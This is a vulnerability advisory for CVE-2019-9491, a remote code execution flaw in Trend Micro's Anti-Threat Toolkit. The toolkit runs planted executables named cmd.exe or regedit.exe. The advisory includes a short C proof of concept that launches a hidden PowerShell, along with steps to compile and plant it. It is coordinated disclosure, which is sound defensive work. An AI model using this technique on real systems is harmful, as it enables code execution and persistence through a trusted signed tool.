[+] Credits: John Page (aka hyp3rlinx)    
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/TREND-MICRO-ANTI-THREAT-TOOLKIT-(ATTK)-REMOTE-CODE-EXECUTION.txt
[+] ISR: Apparition Security          
 

[Vendor]
www.trendmicro.com


[Product]
Trend Micro Anti-Threat Toolkit (ATTK)
1.62.0.1218 and below

Trend Micro Anti-Threat Toolkit (ATTK) can analyze malware issues and clean infections.
It can be used to perform system forensic scans and clean the following infection types:

General malware infection
Master boot record Infection
CIDOX/ RODNIX infection
Rootkit infection
Zbot infection
Cryptolocker infection
etc..


[Vulnerability Type]
Remote Code Execution


[CVE Reference]
CVE-2019-9491


[Security Issue]
Trend Micro Anti-Threat Toolkit (ATTK) will load and execute arbitrary .EXE files if a malware author
happens to use the vulnerable naming convention of "cmd.exe" or "regedit.exe" and the malware can be
placed in the vacinity of the ATTK when a scan is launched by the end user.

Since the ATTK is signed by verified publisher and therefore assumed trusted any MOTW security warnings
are bypassed if the malware was internet downloaded, also it can become a persistence mechanism as
each time the Anti-Threat Toolkit is run so can an attackers malware.

Standalone affected components of ATTK and other integrations (e.g. WCRY Patch Tool, OfficeScan Toolbox, etc.)

attk_collector_cli_x64.exe 
Hash: e8503e9897fd56eac0ce3c3f6db24fb1

TrendMicroRansomwareCollector64.r09.exe
Hash: 798039027bb4363dcfd264c14267375f

attk_ScanCleanOnline_gui_x64.exe
Hash: f1d2ca4b14368911c767873cdbc194ed


[References]
https://success.trendmicro.com/solution/000149878
*All versions of the ATTK have been updated with the newer version. Anti-Threat Toolkit (ATTK) 1.62.0.1223


[Exploit/POC]
Compile an .EXE using below "C" code and use naming convention of "cmd.exe" or "regedit.exe".
Run the Anti-Threat Toolkit and watch the ATTK console to see the Trojan file get loaded and executed.

#include <windows.h>

void main(void){
   puts("Trend Micro Anti-Threat Toolkit PWNED!");
   puts("Discovery: hyp3rlinx");
   puts("CVE-2019-9491\n");
   WinExec("powershell", 0);
}


[POC Video URL]
https://www.youtube.com/watch?v=HBrRVe8WCHs


[Network Access]
Remote


[Severity]
High


[Disclosure Timeline]
Vendor Notification: September 9, 2019
Vendor confirms vulnerability: September 25, 2019
Vendor requests to coordinate advisory: September 25, 2019
October 19, 2019 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx